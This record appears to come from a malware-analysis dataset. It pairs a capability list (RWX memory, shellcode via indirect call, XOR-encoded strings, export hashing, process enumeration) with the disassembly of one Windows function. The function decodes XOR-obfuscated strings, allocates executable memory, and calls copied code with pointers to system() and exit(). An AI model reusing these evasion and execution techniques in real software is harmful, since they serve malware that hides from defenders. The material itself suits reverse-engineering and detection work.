Function at 0x140061670
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Authenticate hmac
Create process on windows
Create thread
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xbc0]
sub rsp, 0xcc0
mov rax, qword [0x14014a4c8]
xor rax, rsp
mov qword [rbp + 0xbb8], rax
mov rbx, rdx
call fcn.14005a070
mov rcx, rbx
call fcn.140059650
call fcn.14005a460
lea rcx, [0x14014b410]
call fcn.140071ed0
mov r12d, 3
cmp byte [0x14014b620], 0
jne 0x1400619c6
movdqa xmm1, xmmword [0x1400da470]
movdqu xmmword [rbp + 0x780], xmm1
mov cl, 0x77
mov dl, 0x71
mov r8b, reloc.WS2_32.dll_WSASetLastError
mov r9b, 0x3e
mov r11b, 0x78
mov bl, 0x7f
movzx edi, cl
mov sil, WSAStartup
mov r14b, 0x7b
mov r15b, 0x7a
mov r12b, 0x3f
movzx r13d, r9b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r10d, xmm1
xor al, r10b
mov byte [rbp + 0x781], al
xor byte [rbp + 0x782], r10b
xor byte [rbp + 0x783], r10b
xor byte [rbp + 0x784], r10b
xor byte [rbp + 0x785], r10b
xor byte [rbp + 0x786], r10b
xor byte [rbp + 0x787], r10b
xor byte [rbp + 0x788], r10b
xor byte [rbp + 0x789], r10b
xor byte [rbp + 0x78a], r10b
xor byte [rbp + 0x78b], r10b
xor byte [rbp + 0x78c], r10b
xor byte [rbp + 0x78d], r10b
xor byte [rbp + 0x78e], r10b
xor byte [rbp + 0x78f], r10b
xor cl, r10b
mov byte [rbp + 0x790], cl
xor dl, r10b
mov byte [rbp + 0x791], dl
xor r8b, r10b
mov byte [rbp + 0x792], r8b
xor r9b, r10b
mov byte [rbp + 0x793], r9b
xor r11b, r10b
mov byte [rbp + 0x794], r11b
xor bl, r10b
mov byte [rbp + 0x795], bl
xor dil, r10b
mov byte [rbp + 0x796], dil
xor sil, r10b
mov byte [rbp + 0x797], sil
xor r14b, r10b
mov byte [rbp + 0x798], r14b
xor r15b, r10b
mov byte [rbp + 0x799], r15b
xor r12b, r10b
mov byte [rbp + 0x79a], r12b
xor r13b, r10b
mov byte [rbp + 0x79b], r13b
mov al, reloc.WS2_32.dll_sendto
xor al, r10b
mov byte [rbp + 0x79c], al
mov byte [rbp + 0x79d], 0
lea rdx, [rbp + 0x781]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b2d0
lea rdx, [0x14004d590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x7d0
lea rcx, [rsp + 0x50]
call fcn.14004db60
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [rbp - 0x58], 1
lea r14, [rbp + 0xbe8]
movabs r13, 0xff00ff00ff00ff00
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], r14
mov rdi, qword [r14]
xor rdi, r13
mov qword [rbp - 0x70], rdi
mov qword [r14], 0
xor ecx, ecx
mov rax, qword [0x14014db60]
lea rsi, [0x140000000]
lea r15, [0x14004b9d0]
test rax, rax
je 0x1400618c9
xor edx, edx
nop
cmp rax, r15
je 0x1400618b8
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x14db60]
test rax, rax
jne 0x1400618a0
jmp 0x1400618c9
mov r8, qword [rsi + rdx*8 + 0x14de80]
test r8, r8
jne 0x1400619af
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14006198e
mov rax, r15
mov rcx, r8
mov edx, 3
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140061900
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014db50]
mov qword [rsi + rax*8 + 0x14db60], r15
mov qword [rsi + rax*8 + 0x14de80], r8
inc rax
mov qword [0x14014db50], rax
lea rdx, [rbp - 0x58]
mov rcx, rbx
call r8
nop
xor rdi, r13
mov qword [r14], rdi
mov r12d, 3
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm1, xmmword [0x1400da3f0]
movdqu xmmword [rbp + 0x688], xmm1
mov dl, 0x4b
mov r8b, 0x4a
mov r9b, 0x50
mov r10b, 0x56
mov r11b, 0x57
mov bl, Ordinal_26
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x689], al
xor byte [rbp + 0x68a], cl
xor byte [rbp + 0x68b], cl
xor byte [rbp + 0x68c], cl
xor byte [rbp + 0x68d], cl
xor byte [rbp + 0x68e], cl
xor byte [rbp + 0x68f], cl
xor byte [rbp + 0x690], cl
xor byte [rbp + 0x691], cl
xor byte [rbp + 0x692], cl
xor byte [rbp + 0x693], cl
xor byte [rbp + 0x694], cl
xor byte [rbp + 0x695], cl
xor byte [rbp + 0x696], cl
xor byte [rbp + 0x697], cl
xor dl, cl
mov byte [rbp + 0x698], dl
xor r8b, cl
mov byte [rbp + 0x699], r8b
xor r9b, cl
mov byte [rbp + 0x69a], r9b
xor r10b, cl
mov byte [rbp + 0x69b], r10b
xor r11b, cl
mov byte [rbp + 0x69c], r11b
xor bl, cl
mov byte [rbp + 0x69d], bl
mov byte [rbp + 0x69e], 0
lea r8, [0x14014b470]
lea rdx, [rbp + 0x689]
lea rcx, [rbp + 0x9c0]
call fcn.14004b690
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140061ac2
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.14004c1c0
lea rdx, [0x14004d590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x9c0]
call fcn.14004f220
mov byte [rbp + 0x838], Ordinal_35
mov al, 0x44
mov cl, reloc.WLDAP32.dll_Ordinal_46
mov dl, 0x42
mov r8b, 0x3f
mov r9b, reloc.WS2_32.dll_WSAStartup
mov r10b, reloc.WS2_32.dll_WSASetLastError
mov r11b, 0x78
mov bl, 0x76
mov dil, WSAStartup
xor esi, esi
xor al, 0x1f
mov byte [rbp + 0x839], al
xor cl, 0x1f
mov byte [rbp + 0x83a], cl
xor dl, 0x1f
mov byte [rbp + 0x83b], dl
xor r8b, 0x1f
mov byte [rbp + 0x83c], r8b
xor r9b, 0x1f
mov byte [rbp + 0x83d], r9b
xor r10b, 0x1f
mov byte [rbp + 0x83e], r10b
xor r11b, 0x1f
mov byte [rbp + 0x83f], r11b
xor bl, 0x1f
mov byte [rbp + 0x840], bl
xor dil, 0x1f
mov byte [rbp + 0x841], dil
mov byte [rbp + 0x842], sil
lea rdx, [rbp + 0x839]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b2d0
lea rdx, [0x14004d590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov byte [rbp + 0x898], 0x46
mov al, Ordinal_30
mov cl, reloc.WS2_32.dll_WSACleanup
mov dl, reloc.WLDAP32.dll_Ordinal_27
mov r8b, 0x66
mov r9b, 0x34
mov r10b, reloc.WLDAP32.dll_Ordinal_35
mov r11b, reloc.WLDAP32.dll_Ordinal_33
mov bl, 0x2f
mov dil, 0x35
mov sil, reloc.WLDAP32.dll_Ordinal_50
movzx r14d, r10b
movzx r15d, r9b
xor r13d, r13d
xor al, 0x46
mov byte [rbp + 0x899], al
xor cl, 0x46
mov byte [rbp + 0x89a], cl
xor dl, 0x46
mov byte [rbp + 0x89b], dl
xor r8b, 0x46
mov byte [rbp + 0x89c], r8b
xor r9b, 0x46
mov byte [rbp + 0x89d], r9b
xor r10b, 0x46
mov byte [rbp + 0x89e], r10b
xor r11b, 0x46
mov byte [rbp + 0x89f], r11b
xor bl, 0x46
mov byte [rbp + 0x8a0], bl
xor dil, 0x46
mov byte [rbp + 0x8a1], dil
xor sil, 0x46
mov byte [rbp + 0x8a2], sil
xor r14b, 0x46
mov byte [rbp + 0x8a3], r14b
xor r15b, 0x46
mov byte [rbp + 0x8a4], r15b
mov byte [rbp + 0x8a5], r13b
lea rdx, [rbp + 0x899]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b2d0
lea rdx, [0x14004d590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x8f8], xmm0
movdqa xmm1, xmmword [0x1400da020]
movdqu xmmword [rbp + 0x908], xmm1
mov byte [rbp + 0x8f8], r13b
lea rdx, [rbp + 0x8f8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14004b070
mov al, 0x49
mov byte [rsp + 0x58], al
xor ecx, ecx
xor al, 0x78
mov byte [rsp + 0x59], al
mov byte [rsp + 0x5a], cl
lea r10, [rbp + 0x8f8]
cmp qword [rbp + 0x910], 0x10
cmovae r10, qword [rbp + 0x8f8]
lea r9, [rsp + 0x59]
lea r15, [0x14004b960]
test r10, r10
je 0x140061d4a
nop dword [rax]
movsx ecx, byte [r10]
lea r10, [r10 + 1]
movsx r8d, al
lea r9, [r9 + 1]
lea eax, [rcx - 0x41]
lea edx, [rcx + 0x20]
cmp ax, 0x19
cmova dx, cx
lea eax, [r8 - 0x41]
cmp ax, 0x19
ja 0x140061cfd
add r8w, 0x20
test dx, dx
je 0x140061d0e
cmp dx, r8w
jne 0x140061d4a
movzx eax, byte [r9]
jmp 0x140061cd0
lea rdx, [0x14014b750]
cmp qword [0x14014b768], 0x10
cmovae rdx, qword [0x14014b750]
mov r8, qword [0x14014b760]
lea r15, [0x14014a3c8]
mov rcx, r15
call fcn.140054b40
lea r13, [0x140000000]
xor r14d, r14d
jmp 0x14006208a
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x7f8], reloc.WS2_32.dll_select
mov al, 0x71
mov cl, 0x7e
mov dl, 0x61
xor r8d, r8d
xor al, 0x12
mov byte [rbp + 0x7f9], al
xor cl, 0x12
mov byte [rbp + 0x7fa], cl
xor dl, 0x12
mov byte [rbp + 0x7fb], dl
mov byte [rbp + 0x7fc], r8b
lea rax, [rbp + 0x7f9]
mov qword [rbp + 0x50], rax
lea rsi, [rbp + 0xbe8]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x60], rsi
mov rdi, qword [rsi]
xor rdi, rax
mov qword [rbp - 0x70], rdi
xor r14d, r14d
mov qword [rsi], r14
mov ecx, r14d
mov rax, qword [0x14014d510]
lea r13, [0x140000000]
test rax, rax
je 0x140061df9
mov edx, r14d
nop
cmp rax, r15
je 0x140061de8
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14d510]
test rax, rax
jne 0x140061dd0
jmp 0x140061df9
mov r8, qword [r13 + rdx*8 + 0x14d830]
test r8, r8
jne 0x140061edf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140061e20
mov r8, r14
jmp 0x140061ebe
mov rax, r15
mov rcx, r8
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140061e30
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014d500]
mov qword [r13 + rax*8 + 0x14d510], r15
mov qword [r13 + rax*8 + 0x14d830], r8
inc rax
mov qword [0x14014d500], rax
lea rdx, [rbp + 0x50]
mov rcx, rbx
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rdi, rax
mov qword [rsi], rdi
xor r8d, r8d
lea rdx, [0x1400cf724]
lea rcx, [0x14014b750]
call fcn.140054b40
movdqa xmm1, xmmword [0x1400da210]
movdqu xmmword [rbp + 0x6c0], xmm1
mov cl, 0x27
mov r8b, reloc.WLDAP32.dll_Ordinal_33
mov r9b, 0x2a
mov r10b, gethostname
movzx r11d, r8b
mov bl, 0x7e
mov dil, 0x64
mov sil, Ordinal_79
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x6c1], al
xor byte [rbp + 0x6c2], dl
xor byte [rbp + 0x6c3], dl
xor byte [rbp + 0x6c4], dl
xor byte [rbp + 0x6c5], dl
xor byte [rbp + 0x6c6], dl
xor byte [rbp + 0x6c7], dl
xor byte [rbp + 0x6c8], dl
xor byte [rbp + 0x6c9], dl
xor byte [rbp + 0x6ca], dl
xor byte [rbp + 0x6cb], dl
xor byte [rbp + 0x6cc], dl
xor byte [rbp + 0x6cd], dl
xor byte [rbp + 0x6ce], dl
xor byte [rbp + 0x6cf], dl
xor cl, dl
mov byte [rbp + 0x6d0], cl
xor r8b, dl
mov byte [rbp + 0x6d1], r8b
xor r9b, dl
mov byte [rbp + 0x6d2], r9b
xor r10b, dl
mov byte [rbp + 0x6d3], r10b
xor r11b, dl
mov byte [rbp + 0x6d4], r11b
xor bl, dl
mov byte [rbp + 0x6d5], bl
xor dil, dl
mov byte [rbp + 0x6d6], dil
xor sil, dl
mov byte [rbp + 0x6d7], sil
mov byte [rbp + 0x6d8], 0
lea rdx, [rbp + 0x6c1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b2d0
lea rdx, [0x14004d590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x918], xmm0
mov qword [rbp + 0x928], r14
mov qword [rbp + 0x930], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x918], 0
lea rdx, [rbp + 0x918]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14004b070
lea rdx, [rbp + 0x918]
cmp qword [rbp + 0x930], 0x10
cmovae rdx, qword [rbp + 0x918]
mov r8, qword [rbp + 0x928]
lea r15, [0x14014a3c8]
mov rcx, r15
call fcn.140054b40
nop
lea rcx, [rbp + 0x918]
call fcn.14004f220
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x808], WSAGetLastError
mov al, reloc.WS2_32.dll_ntohs
xor cl, cl
mov dl, Ordinal_32
xor r8d, r8d
xor al, 0x6c
mov byte [rbp + 0x809], al
xor cl, 0x6c
mov byte [rbp + 0x80a], cl
xor dl, 0x6c
mov byte [rbp + 0x80b], dl
mov byte [rbp + 0x80c], r8b
lea rax, [rbp + 0x809]
mov qword [rbp + 0x58], rax
lea rsi, [rbp + 0xbe8]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x60], rsi
mov rdi, qword [rsi]
xor rdi, rax
mov qword [rbp - 0x70], rdi
mov qword [rsi], r14
mov ecx, r14d
mov rax, qword [0x14014d510]
test rax, rax
je 0x140062139
mov rdx, r14
lea r8, [0x14004b960]
nop dword [rax]
cmp rax, r8
je 0x140062128
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14d510]
test rax, rax
jne 0x140062110
jmp 0x140062139
mov r8, qword [r13 + rdx*8 + 0x14d830]
test r8, r8
jne 0x140062226
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140062160
mov r8, r14
jmp 0x1400621fe
lea rax, [0x14004b960]
mov rcx, r8
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140062170
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014d500]
lea rcx, [0x14004b960]
mov qword [r13 + rax*8 + 0x14d510], rcx
mov qword [r13 + rax*8 + 0x14d830], r8
inc rax
mov qword [0x14014d500], rax
lea rdx, [rbp + 0x58]
mov rcx, rbx
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rdi, rax
mov qword [rsi], rdi
mov rdx, r15
lea rcx, [rbp + 0x3b0]
call fcn.14004e0f0
mov rdx, rax
lea rcx, [0x14014b410]
call fcn.1400738b0
cmp byte [0x14014b620], 0
jne 0x140062547
movdqa xmm1, xmmword [0x1400da460]
movdqu xmmword [rbp + 0x740], xmm1
mov cl, 0x6a
mov dl, reloc.WS2_32.dll_WSAGetLastError
mov r8b, 0x62
mov r10b, 0x26
movzx r11d, cl
movzx ebx, dl
mov dil, 0x65
mov sil, 0x63
mov r14b, 0x68
mov r15b, 0x75
movzx r12d, sil
mov r13b, Ordinal_41
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rbp + 0x741], al
xor byte [rbp + 0x742], r9b
xor byte [rbp + 0x743], r9b
xor byte [rbp + 0x744], r9b
xor byte [rbp + 0x745], r9b
xor byte [rbp + 0x746], r9b
xor byte [rbp + 0x747], r9b
xor byte [rbp + 0x748], r9b
xor byte [rbp + 0x749], r9b
xor byte [rbp + 0x74a], r9b
xor byte [rbp + 0x74b], r9b
xor byte [rbp + 0x74c], r9b
xor byte [rbp + 0x74d], r9b
xor byte [rbp + 0x74e], r9b
xor byte [rbp + 0x74f], r9b
xor cl, r9b
mov byte [rbp + 0x750], cl
xor dl, r9b
mov byte [rbp + 0x751], dl
xor r8b, r9b
mov byte [rbp + 0x752], r8b
xor r10b, r9b
mov byte [rbp + 0x753], r10b
xor r11b, r9b
mov byte [rbp + 0x754], r11b
xor bl, r9b
mov byte [rbp + 0x755], bl
xor dil, r9b
mov byte [rbp + 0x756], dil
xor sil, r9b
mov byte [rbp + 0x757], sil
xor r14b, r9b
mov byte [rbp + 0x758], r14b
xor r15b, r9b
mov byte [rbp + 0x759], r15b
xor r12b, r9b
mov byte [rbp + 0x75a], r12b
xor r13b, r9b
mov byte [rbp + 0x75b], r13b
mov byte [rbp + 0x75c], 0
lea rdx, [rbp + 0x741]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b2d0
lea rdx, [0x14004d590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x2710
lea rcx, [rsp + 0x50]
call fcn.14004db60
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov rax, 0xffffffffffffffff
mov dword [rbp - 0x54], eax
lea rsi, [rbp + 0xbe8]
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp - 0x70], rdi
mov qword [rsi], 0
xor ecx, ecx
mov rax, qword [0x14014db60]
lea r13, [0x140000000]
lea r14, [0x14004b9d0]
test rax, rax
je 0x140062451
xor edx, edx
cmp rax, r14
je 0x140062440
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14db60]
test rax, rax
jne 0x140062428
jmp 0x140062451
mov r8, qword [r13 + rdx*8 + 0x14de80]
test r8, r8
jne 0x14006252f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x14006250e
mov rax, r14
mov rcx, r8
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140062480
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014db50]
mov qword [r13 + rax*8 + 0x14db60], r14
mov qword [r13 + rax*8 + 0x14de80], r8
inc rax
mov qword [0x14014db50], rax
lea rdx, [rbp - 0x54]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rsi], rdi
lea r15, [0x14014a3c8]
xor edi, edi
mov r14d, edi
mov rcx, qword [0x14014b5f8]
mov rax, rcx
mov rdx, qword [0x14014b5f0]
sub rax, rdx
sar rax, 6
movabs r12, 0x7fffffffffffffff
test rax, rax
je 0x1400628f8
mov ebx, edi
lea r12, [0x14014a408]
sub rcx, rdx
sar rcx, 6
cmp rcx, rbx
jbe 0x140065c62
shl rbx, 6
add rbx, rdx
mov rdx, rbx
lea rcx, [rbp + 0x960]
call fcn.14004e0f0
nop
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x980]
call fcn.14004e0f0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], rdi
mov rsi, qword [rbp + 0x990]
lea rbx, [rbp + 0x980]
cmp qword [rbp + 0x998], 0x10
cmovae rbx, qword [rbp + 0x980]
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x140065c5c
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
cmp rsi, 0x10
jae 0x140062692
mov qword [rsp + 0x78], rsi
movzx eax, byte [rbx]
mov byte [rsp + 0x68], al
movzx eax, byte [rbx + 1]
mov byte [rsp + 0x69], al
movzx eax, byte [rbx + 2]
mov byte [rsp + 0x6a], al
movzx eax, byte [rbx + 3]
mov byte [rsp + 0x6b], al
movzx eax, byte [rbx + 4]
mov byte [rsp + 0x6c], al
movzx eax, byte [rbx + 5]
mov byte [rsp + 0x6d], al
movzx eax, byte [rbx + 6]
mov byte [rsp + 0x6e], al
movzx eax, byte [rbx + 7]
mov byte [rsp + 0x6f], al
movzx eax, byte [rbx + 8]
mov byte [rsp + 0x70], al
movzx eax, byte [rbx + 9]
mov byte [rsp + 0x71], al
movzx eax, byte [rbx + 0xa]
mov byte [rsp + 0x72], al
movzx eax, byte [rbx + 0xb]
mov byte [rsp + 0x73], al
movzx eax, byte [rbx + 0xc]
mov byte [rsp + 0x74], al
movzx eax, byte [rbx + 0xd]
mov byte [rsp + 0x75], al
movzx eax, byte [rbx + 0xe]
mov byte [rsp + 0x76], al
movzx eax, byte [rbx + 0xf]
mov byte [rsp + 0x77], al
jmp 0x1400626f2
mov rdi, rsi
or rdi, 0xf
cmp rdi, rax
jbe 0x1400626a3
mov rdi, rax
jmp 0x1400626b0
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rsp + 0x68]
call fcn.1400548e0
mov rcx, rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x80], rdi
lea rdx, [rsi + 1]
